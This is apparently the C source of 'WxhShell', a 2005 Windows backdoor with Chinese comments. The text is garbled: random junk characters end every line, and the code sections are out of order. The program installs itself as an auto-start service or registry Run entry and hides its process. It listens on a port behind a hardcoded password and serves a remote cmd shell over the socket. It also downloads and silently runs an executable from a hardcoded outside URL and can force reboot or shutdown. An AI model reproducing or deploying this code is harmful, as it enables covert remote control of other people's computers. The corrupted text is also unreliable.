  case 'd': { :Fvrs( x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u:_,GQ )\  
    if(Boot(SHUTDOWN)) ;;N9>M?b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OpYY{f  
    else { I9hK} D  
    closesocket(wsh); g7W"  
    ExitThread(0); |8tilOqI  
    } `RL"AH:+  
    break; j#q-^h3H  
    } A2jUmK.&  
  // 获取shell q5)O%l!  
  case 's': { ut7zVp<"  
    CmdShell(wsh); [K0(RDV)%  
    closesocket(wsh); K(,F~ .<  
    ExitThread(0); [E juUElr  
    break; I4i>+:_J  
  } HCC#j9UN6  
  // 退出 @r/n F5  
  case 'x': { wcY? rE9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JrRH\+4K  
    CloseIt(wsh); j HJ`,#  
    break; u5f9Jw}  
    } j\^CV?}sm'  
  // 离开 a HR"n|7{  
  case 'q': { y/ ef>ZZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gu\q%'I  
    closesocket(wsh); 9m~p0ILh  
    WSACleanup(); *wB1,U{  
    exit(1); QE`bSI  
    break; e h?zNu2=  
        } P?of<i2E  
  } q9r[$%G  
  } ZRU{ [4  
i6Emhji  
  // 提示信息 CdjI`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lchPpm9  
} sN01rtB(UT  
  } 6zuTQ^pz  
ou{2@"  
  return; % ^1V4  
} [j/9neaye  
N~zdWnSZ@G  
// shell模块句柄 0{}8(  
int CmdShell(SOCKET sock) aE$[5 2  
{ K/yxE|w<  
STARTUPINFO si; Uf;^%*P4  
ZeroMemory(&si,sizeof(si)); R|87%&6']  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u^ 8{Z;mm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @>Km_Ax  
PROCESS_INFORMATION ProcessInfo; VY=jc~c]v  
char cmdline[]="cmd"; CU2*z(]&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _H7x9 y=  
  return 0; #( 146  
} '$]97b7G  
>$/>#e~  
// 自身启动模式 O)n~](sC\  
int StartFromService(void) l L@XM2"  
{ y(yHt= r  
typedef struct HJ[cM6$2  
{ -3Z,EaG^  
  DWORD ExitStatus; 1JG'%8}#8  
  DWORD PebBaseAddress; L2i_X@/  
  DWORD AffinityMask; ~YWQ2]  
  DWORD BasePriority; e)? .r9pA;  
  ULONG UniqueProcessId; =|y9UlsD  
  ULONG InheritedFromUniqueProcessId; j[J-f@F \Y  
}   PROCESS_BASIC_INFORMATION; E,x+JeKV  
wc^tgE  
PROCNTQSIP NtQueryInformationProcess; h(u8&MHx  
 B Qxs~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ag;pN*z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oDAXiY$u  
g(7rTyp4)  
  HANDLE             hProcess; ?ri?GmI|  
  PROCESS_BASIC_INFORMATION pbi; 9Uekvs=r=M  
2*l/3VW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZI}Fom<  
  if(NULL == hInst ) return 0; ,K"U> &  
]dmrkZz:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3J|F?M"N7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }?_?V&K|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4-y :/8  
By",rD- r  
  if (!NtQueryInformationProcess) return 0; :v&$o'Sak  
|a`Sc %  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u$Jz~:=,  
  if(!hProcess) return 0; 6@F9G 4<Z  
sW'AjI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 17"uf.G  
NgGp  
  CloseHandle(hProcess); ' ;FnIZ  
Ma']?Rb`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S3*`jF>q  
if(hProcess==NULL) return 0; h-K_Lr]  
a;qryUyG  
HMODULE hMod; =M [bnq*\  
char procName[255]; lc1(t:"[  
unsigned long cbNeeded; jTtu0Q|  
.*S#aq4S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b;W3j   
&4x}ppX  
  CloseHandle(hProcess); 0#s"e}@v  
)|R)Q6UJ  
if(strstr(procName,"services")) return 1; // 以服务启动 t[;LD_  
5o'FS{6U  
  return 0; // 注册表启动 U!?_W=?  
} dI@(<R  
{14fA)`%  
// 主模块 qJa H ,  
int StartWxhshell(LPSTR lpCmdLine) { VfXsI  
{ r|fL&dtr  
  SOCKET wsl; Zd}9O jz5  
BOOL val=TRUE; RSyUaA  
  int port=0; y@:h4u"3  
  struct sockaddr_in door; 0oZ= yh  
.*?wF  
  if(wscfg.ws_autoins) Install(); I7vz+>Jr  
):68%,  
port=atoi(lpCmdLine); M2>Vj/  
M l{Z  
if(port<=0) port=wscfg.ws_port; ,,&* :<Q  
kYqU9cB~  
  WSADATA data; 6azGhxh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2Aazy'/  
$=8  NED5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p{ Yv3dNl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F^t DL:  
  door.sin_family = AF_INET; Vvn2 Ep  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2~1SQ.Q<RY  
  door.sin_port = htons(port); G )trG9 .a  
gx8ouOh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k"T}2 7  
closesocket(wsl); FxtQXu-g  
return 1; mAj?>;R2$2  
} , j2Udn}  
V6&!9b  
  if(listen(wsl,2) == INVALID_SOCKET) { Yz/md1T$  
closesocket(wsl); +`7i 'ff  
return 1; D9 CaFu  
} J6s`'gFns  
  Wxhshell(wsl); qo90t{|c  
  WSACleanup(); 'KS,'%  
nQX:T;WL@  
return 0; uD$u2  
hk(ZM#Bh  
} <EB+1GFuI  
pMx*F@&nU  
// 以NT服务方式启动 I {S;L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ( iBl   
{ G_3O]BMKd)  
DWORD   status = 0; j^j1  
  DWORD   specificError = 0xfffffff; \:# L)   
qPX~@^`9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fo*2:?K&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /yDz/>ID\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cz#rb*b  
  serviceStatus.dwWin32ExitCode     = 0; 5,Jp[bw{H{  
  serviceStatus.dwServiceSpecificExitCode = 0; c)TPM/>(p  
  serviceStatus.dwCheckPoint       = 0; h:b)Wr  
  serviceStatus.dwWaitHint       = 0; nX6u(U  
B4c]}r+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |"X*@s\'  
  if (hServiceStatusHandle==0) return; xaq-.IQAM$  
8rnwXPBN  
status = GetLastError();  N_kMK  
  if (status!=NO_ERROR) | C;=-|  
{ Z58 X5"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (Ft+uuG  
    serviceStatus.dwCheckPoint       = 0; (Du@ S  
    serviceStatus.dwWaitHint       = 0; Zw 26  
    serviceStatus.dwWin32ExitCode     = status; IXMop7~  
    serviceStatus.dwServiceSpecificExitCode = specificError; ITE{@1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LvH 4{B  
    return; =\&;Fi]  
  } =V, mtT  
DbBcQ%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a?I= !js  
  serviceStatus.dwCheckPoint       = 0; b(eNmu  
  serviceStatus.dwWaitHint       = 0; iTBx\ u%{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  &=@IzmA  
} \+oQd=K@  
$B 2J T9  
// 处理NT服务事件,比如:启动、停止 o8V5w!+#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ="1Ind@w!  
{ GfxZ'VIn  
switch(fdwControl) fa jGZyd0:  
{ :KSV4>X[%a  
case SERVICE_CONTROL_STOP: .;y.]Z/;  
  serviceStatus.dwWin32ExitCode = 0; Z, zWuE3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aD<A.Lhy  
  serviceStatus.dwCheckPoint   = 0; Q Uwd [  
  serviceStatus.dwWaitHint     = 0; y|C(X  
  { qTRsZz@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X[-xowE-  
  } O%WIf__Q  
  return; #`qx<y*S  
case SERVICE_CONTROL_PAUSE: dc+>m,3$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !fV+z%:  
  break; Avge eJi  
case SERVICE_CONTROL_CONTINUE: #5Qpu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; : Xda1S  
  break; +xh`Q=A  
case SERVICE_CONTROL_INTERROGATE: L4@K~8j7  
  break; B?eCe}*f;B  
}; zq 3\}9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }kw#7m54  
} B+|Kjlt  
DTX0  
// 标准应用程序主函数 DzAg"6=CS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yJ[0WY8<kC  
{ sNbxI|B  
JinUV6cr  
// 获取操作系统版本 s$zLiQF;  
OsIsNt=GetOsVer(); b <tNk]7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S*,17+6dV  
sf:,qD=z  
  // 从命令行安装 3H'sHuK"X  
  if(strpbrk(lpCmdLine,"iI")) Install(); KaLzg5is  
Hc;[Cs0  
  // 下载执行文件 f$o_e90mu  
if(wscfg.ws_downexe) { vz@A;t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3<e=g)F  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yj<a" Gr4[  
} k90YV(  
iOf<$f  
if(!OsIsNt) { $H2u.U<ip  
// 如果时win9x,隐藏进程并且设置为注册表启动 DHg :8%3x  
HideProc(); y B81f  
StartWxhshell(lpCmdLine); ~T"Rw2v b  
} H9Gh>u]}  
else RF?`vRZOe  
  if(StartFromService()) D5gFXEeh  
  // 以服务方式启动 s-NX o  
  StartServiceCtrlDispatcher(DispatchTable); mtpeRVcF  
else .97])E[U  
  // 普通方式启动 <jBF[v9*m(  
  StartWxhshell(lpCmdLine); +i6GHBn~J  
xBj 9y u  
return 0; 3xy<tqfr  
} V%t.l  
DcS+_>a\{l  
{Ea b j  
x f'V{9*  
=========================================== bS{bkE>  
"6("9"  
`{gHA+B  
nd`1m[7MNu  
FBG4pb9=~  
K$z2YJ%  
" DVO.FTV^`  
j\ZXG=j  
#include <stdio.h> b3P+H r  
#include <string.h> Yz9owe8}[  
#include <windows.h> !@5 9)  
#include <winsock2.h> [ XN={  
#include <winsvc.h> NYhB'C2  
#include <urlmon.h> RV1coC.g4x  
i}(LqcYU  
#pragma comment (lib, "Ws2_32.lib") ~EW(Gs!=C  
#pragma comment (lib, "urlmon.lib") t"sBPLU\  
a6 ekG YW  
#define MAX_USER   100 // 最大客户端连接数 }czrj%6  
#define BUF_SOCK   200 // sock buffer l&[O  
#define KEY_BUFF   255 // 输入 buffer ),_@WW;k  
uIY#e<)}G  
#define REBOOT     0   // 重启 \a<wKTkn  
#define SHUTDOWN   1   // 关机 a1+oj7  
@s*-%N^:[L  
#define DEF_PORT   5000 // 监听端口 *nd!)t  
UklUw  
#define REG_LEN     16   // 注册表键长度 _OYasJUMG  
#define SVC_LEN     80   // NT服务名长度 2bz2KB5>  
//B&k`u  
// 从dll定义API ;2G*wR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &.3"Uo\#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &*o=I|pQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }ZYd4h|g\z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3s*mbk[J  
A]*}HZ ,  
// wxhshell配置信息 fT|.@%"vc  
struct WSCFG { Od,=mO*.Q  
  int ws_port;         // 监听端口 [\]50=&  
  char ws_passstr[REG_LEN]; // 口令 vo?9(+:|e  
  int ws_autoins;       // 安装标记, 1=yes 0=no cF*TotU_m  
  char ws_regname[REG_LEN]; // 注册表键名 Z<oaK  
  char ws_svcname[REG_LEN]; // 服务名 *9 {PEx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b\f O8{k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #x@$ lc=k3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oueC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7Y lchmd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WH%g(6w1j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KA5v+~  
m5n #v  
}; qyb?49I  
t[HE6ea  
// default Wxhshell configuration VD AaYDi  
struct WSCFG wscfg={DEF_PORT, 50h! X9  
    "xuhuanlingzhe", _=r6=.  
    1, v@sIHb  
    "Wxhshell", qfF~D0}  
    "Wxhshell", D'>_I.  
            "WxhShell Service", kb%;=t2  
    "Wrsky Windows CmdShell Service", A.F%Ycq  
    "Please Input Your Password: ", IuDS*/Sx  
  1, ?Rb9|`6  
  "http://www.wrsky.com/wxhshell.exe", 4X/-4'  
  "Wxhshell.exe" 85= )lu  
    }; rCEyQ)R_}  
2F;y;l%  
// 消息定义模块 E#34Wh2z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s3N'02G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MBK^FR-K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,O5NLg-  
char *msg_ws_ext="\n\rExit."; ~i= _J3'  
char *msg_ws_end="\n\rQuit."; I@\lN&HC  
char *msg_ws_boot="\n\rReboot..."; BkAm/R  
char *msg_ws_poff="\n\rShutdown..."; -12UN(&&Z  
char *msg_ws_down="\n\rSave to ";  ,i NXK  
@ )F)S 7  
char *msg_ws_err="\n\rErr!"; eSn+B;  
char *msg_ws_ok="\n\rOK!"; 1y &\5kB  
@3i\%R)n;  
char ExeFile[MAX_PATH]; bG"~"ipn%  
int nUser = 0; +.8 \p5  
HANDLE handles[MAX_USER]; rw[ph[\X  
int OsIsNt; d7^}tM  
yZ7&b&2nLn  
SERVICE_STATUS       serviceStatus; (y'hyJo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y;eZ9|Ht9  
[|wZ77\  
// 函数声明 Z{.8^u1I  
int Install(void); NSMyliM1Y  
int Uninstall(void); BU)U/A8iS  
int DownloadFile(char *sURL, SOCKET wsh); wVXS%4|v  
int Boot(int flag); &<g|gsG`  
void HideProc(void); f^ZRT@`O  
int GetOsVer(void); Rr$-tYy6  
int Wxhshell(SOCKET wsl); Oxnp0 s  
void TalkWithClient(void *cs); FgnTGY}  
int CmdShell(SOCKET sock); 3d8L6GJ  
int StartFromService(void); [Y/} ^  
int StartWxhshell(LPSTR lpCmdLine); OF>mF~  
2>9C-VL2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hF?1y`20  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1#g2A0U,  
J( TkXNm  
// 数据结构和表定义 *-WpZGh  
SERVICE_TABLE_ENTRY DispatchTable[] = OdbEq?3S/?  
{ g9pZ\$J&  
{wscfg.ws_svcname, NTServiceMain}, _{O>v\u  
{NULL, NULL} 3Aip}<1  
}; Mexk~z A^  
;a!S!% .h  
// 自我安装 P{`C^W$J^  
int Install(void) OKZV{Gja  
{ PNhe  
  char svExeFile[MAX_PATH]; GMx&y2. Z  
  HKEY key; ;>hO+Wo  
  strcpy(svExeFile,ExeFile); `RT>}_j  
iXkF1r]i  
// 如果是win9x系统,修改注册表设为自启动 &AMl:@p9  
if(!OsIsNt) { urc| D0n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +QavYqPF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A Q U+mo  
  RegCloseKey(key); L+F@:H6/0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f)rq%N &  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KkyVSoD\  
  RegCloseKey(key); }Bh8=F3O Q  
  return 0; :VBV&l` [  
    } w/<L Ag  
  } s+Pq&<nV-  
} "^[ 'y7i  
else { 2DrM3ZU8  
9=M$AB  
// 如果是NT以上系统,安装为系统服务 ;+_:,_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q}JOU  
if (schSCManager!=0) BVQqY$>  
{ m 0C@G5  
  SC_HANDLE schService = CreateService X0 5/uX{  
  ( h&iC;yj=  
  schSCManager, P5V}#;v  
  wscfg.ws_svcname, \7eUw,~Q>  
  wscfg.ws_svcdisp, ,t744k')  
  SERVICE_ALL_ACCESS, UgRiIQMq.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ztY}5A2`  
  SERVICE_AUTO_START, k'Hs}zeNn  
  SERVICE_ERROR_NORMAL, &B;~  
  svExeFile, p>N(Typ0b  
  NULL, *R,5h2;  
  NULL, `hm-.@f,9  
  NULL, //MUeTxR  
  NULL,  dFc':|  
  NULL h4}84}5d  
  ); X`/k)N>l  
  if (schService!=0) 3*bU6$|5FP  
  { qZh/IW  
  CloseServiceHandle(schService); aK~8B_5k8  
  CloseServiceHandle(schSCManager); aKDKmHd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }#+^{P3;  
  strcat(svExeFile,wscfg.ws_svcname); e"cXun4nS=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iVr JQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bWS&Yk(  
  RegCloseKey(key); J{<X 7uB  
  return 0; CxmKz78  
    } :Ov6_x]*  
  } z6P$pqyF  
  CloseServiceHandle(schSCManager); *a^(vo   
} B mb0cF Q  
} "{xrL4BtC  
/s?`&1v|r  
return 1; hE/cd1iJ$  
} )q4[zv9  
^ +\dz  
// 自我卸载 #%2rP'He  
int Uninstall(void) UDFDJm$  
{ R w\gTo  
  HKEY key; (,2S XV  
h" W,WxL8  
if(!OsIsNt) { ]N]!o#q}L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (mB&m@-N  
  RegDeleteValue(key,wscfg.ws_regname); 2pCaX\t  
  RegCloseKey(key); %2{ye  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q{>k1$fkV  
  RegDeleteValue(key,wscfg.ws_regname); T763:v  
  RegCloseKey(key); R29~~IOqO  
  return 0; C): 1?@  
  } Nx;~@  
} ~8+ Zs  
} @ q3k%$4  
else { +`0k Fbx  
M3y NAN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wHLLu~m\  
if (schSCManager!=0) q i;1L Kc  
{ XT*sGM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v1JzP#  
  if (schService!=0) ~ Iuf}D;  
  { h#*dI`>l-  
  if(DeleteService(schService)!=0) { S hWJ72c  
  CloseServiceHandle(schService); 29b9`NXt  
  CloseServiceHandle(schSCManager); e9tjw[+A  
  return 0; qR{=pR  
  } cjY-y-vO  
  CloseServiceHandle(schService); 6MW{,N  
  } ,`Z1m o>n  
  CloseServiceHandle(schSCManager); gH vZVC[b  
} kD%( _K5  
} i]4I [!  
n@i HFBb  
return 1; WwFm*4{[o  
} q2j{tP#  
>=>2m2z=  
// 从指定url下载文件 Or+U@vAnk  
int DownloadFile(char *sURL, SOCKET wsh)  _[3D  
{ o|:b;\)b  
  HRESULT hr; "sCRdx]_  
char seps[]= "/"; +\A,&;!SR  
char *token; Qv-_ jZ  
char *file; rlLMT6r.8  
char myURL[MAX_PATH]; C!!M%P  
char myFILE[MAX_PATH]; 6 "sSoj  
B9 uoVcW  
strcpy(myURL,sURL); yyJ  f%{  
  token=strtok(myURL,seps); ]m<$}  
  while(token!=NULL) I236 RIq  
  {  (ZizuHC  
    file=token; F>l] 9!P|m  
  token=strtok(NULL,seps); ?l )[7LR4  
  } !pW0qX\1n  
T^KKy0ZGM  
GetCurrentDirectory(MAX_PATH,myFILE); 59A}}.@?m  
strcat(myFILE, "\\"); )akoa,#%6c  
strcat(myFILE, file); ~mxO7cy5Cg  
  send(wsh,myFILE,strlen(myFILE),0); ki!0^t:9  
send(wsh,"...",3,0); "^-a M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WT=;:j  
  if(hr==S_OK) \2$|Ei7  
return 0; \8cx6 G'  
else w@E3ZL^  
return 1; niyV8v  
o*H<KaX  
} 4[e X e$  
i.m^/0!  
// 系统电源模块 5;EvNu  
int Boot(int flag) ,O(hMI85]  
{ QWYJ *  
  HANDLE hToken; lo+A%\1  
  TOKEN_PRIVILEGES tkp; R m( "=(  
}7Q%6&IR  
  if(OsIsNt) { ga+dt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ux4POO3C|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i_%_x*  
    tkp.PrivilegeCount = 1; !|(NgzDP/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N6:`/f+A>T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1+s;FJ2}  
if(flag==REBOOT) { g- gV2$I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "to;\9lP  
  return 0; y6a3t G  
} 0H:X3y+  
else { WsB?C&>x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U xGApK=X  
  return 0; >[#f\bG>  
} 1qA;/-Zr<o  
  } M= (u]%\  
  else { !Uo4,g6r+  
if(flag==REBOOT) { "y}5;9#,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `c$V$/IT  
  return 0; upmx $H>  
} mfr|:i  
else { z{QqY.Gu{G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~"!fP3"e  
  return 0; B@ EC5Ap*  
} Z`i(qCAd(  
} %N._w!N<5n  
6gDN`e,@  
return 1; {Sh ;(.u^  
} z$sT !QL~  
9 68Ez  
// win9x进程隐藏模块 Pq$n5fZC !  
void HideProc(void) 1% `Rs  
{ ? r4>"[  
wCBplaojJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :ws<-Qy  
  if ( hKernel != NULL ) At;LO9T3z  
  { h?U O&(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "{t$nVJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P%n>Tg80M  
    FreeLibrary(hKernel); a<e[e>  
  } SpBy3wd  
DEgXQ[  
return; LghfM"g  
} u ga_T  
6u6x  
// 获取操作系统版本 A#,ZUOPGH  
int GetOsVer(void) fz_r7?  
{ %]i15;{X  
  OSVERSIONINFO winfo; xE}>,O|'q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %BODkc Zh  
  GetVersionEx(&winfo); UiNP3TJ'L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V;=cwy)I  
  return 1; 6y<EgYzdE  
  else uxz^/Gk  
  return 0; EU#^7  
} %C]>9."  
!G|@6W`  
// 客户端句柄模块 zH r_!~  
int Wxhshell(SOCKET wsl) Z\sDUJ  
{ ]4e;RV-B  
  SOCKET wsh; zt%Mx>V@  
  struct sockaddr_in client; v$9y,^p@e  
  DWORD myID; pgo$ 61  
DmcZta8n]  
  while(nUser<MAX_USER) 8P`"M#fI  
{ kx^/*~ex  
  int nSize=sizeof(client); K=&>t6s<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *qq+jsA6wH  
  if(wsh==INVALID_SOCKET) return 1; XWw804ir  
{;oPLr+Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J}t%p(mb  
if(handles[nUser]==0) :(%5:1W  
  closesocket(wsh); 6eCCmIdaM  
else <UCl@5g&  
  nUser++; dh\P4  
  } =(^3}x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l^ }c!  
j<$2hiI/?&  
  return 0; l,).p  
} 2<3K3uz  
: Dp0?&_  
// 关闭 socket v@pky0  
void CloseIt(SOCKET wsh) 5r0YA IJ  
{ lhJ'bYI  
closesocket(wsh); uAk.@nfiEv  
nUser--; p ll)Y  
ExitThread(0); $[|mGae  
} *1"+%Z^  
=~gvZV-<  
// 客户端请求句柄 Y/oHu@ _  
void TalkWithClient(void *cs) +C)~bb*  
{ /wv0i3_e  
lq uLT6]  
  SOCKET wsh=(SOCKET)cs; VU#7%ufu&  
  char pwd[SVC_LEN]; jiGTA:v  
  char cmd[KEY_BUFF]; pfPz8L.7  
char chr[1]; #&4=VGx{ #  
int i,j; TA\vZGJ('  
k:%%/  
  while (nUser < MAX_USER) { q\%I#1  
A%vbhD2;W  
if(wscfg.ws_passstr) { {`_i`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); + T+#q@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \.S/|  
  //ZeroMemory(pwd,KEY_BUFF); $;PMkUE  
      i=0; \<K5ZIWV  
  while(i<SVC_LEN) { zm#  ?W  
iow"n$/  
  // 设置超时 `0svy}  
  fd_set FdRead; /kG_*>.Z  
  struct timeval TimeOut; /_.|E]  
  FD_ZERO(&FdRead); IGgL7^MF  
  FD_SET(wsh,&FdRead); )5H?Vh>36  
  TimeOut.tv_sec=8; Fzcwy V   
  TimeOut.tv_usec=0; }0 ?3:A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iDD$pd,e\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x~sBzTa  
CGFDqCNr-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iRBfx  
  pwd=chr[0]; u@^LW<eD  
  if(chr[0]==0xd || chr[0]==0xa) { (?];VG  
  pwd=0; mZBo~(}  
  break; bK7J}8hH  
  } l"]V6!-U  
  i++; 1Ws9WU  
    } H*6W q  
R-14=|7a-  
  // 如果是非法用户,关闭 socket #;S*V"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v^P O|Z  
} 3XKf!P  
1mJ Hued=6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sRfcF`7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !~Z"9(v'C  
,//S`j$S  
while(1) { 8EY:t zw  
(% 9$!v{3  
  ZeroMemory(cmd,KEY_BUFF); vD4*&|8T#  
5R7DDJk  
      // 自动支持客户端 telnet标准   ( 5~h"s  
  j=0; 1x^GWtRp  
  while(j<KEY_BUFF) { D'4\*4is  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HT@=evV  
  cmd[j]=chr[0]; 31)&vf[[  
  if(chr[0]==0xa || chr[0]==0xd) { P2Y^d#jO  
  cmd[j]=0; d5d@k  
  break; `h;[TtIX4  
  } >sbu<|]a 7  
  j++; S>{~nOYt-`  
    } =c7;r]Ol  
V8(-  
  // 下载文件 pot~<d`:K"  
  if(strstr(cmd,"http://")) { 9u:Q,0\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2rMpgV5  
  if(DownloadFile(cmd,wsh)) #"an9<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w =KPT''!  
  else %)n=x ne  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ho%CDz z  
  } ntY]SK%Z  
  else { KlqY@Xt  
KSL`W2}  
    switch(cmd[0]) { g .\[o@H  
  8ipez/  
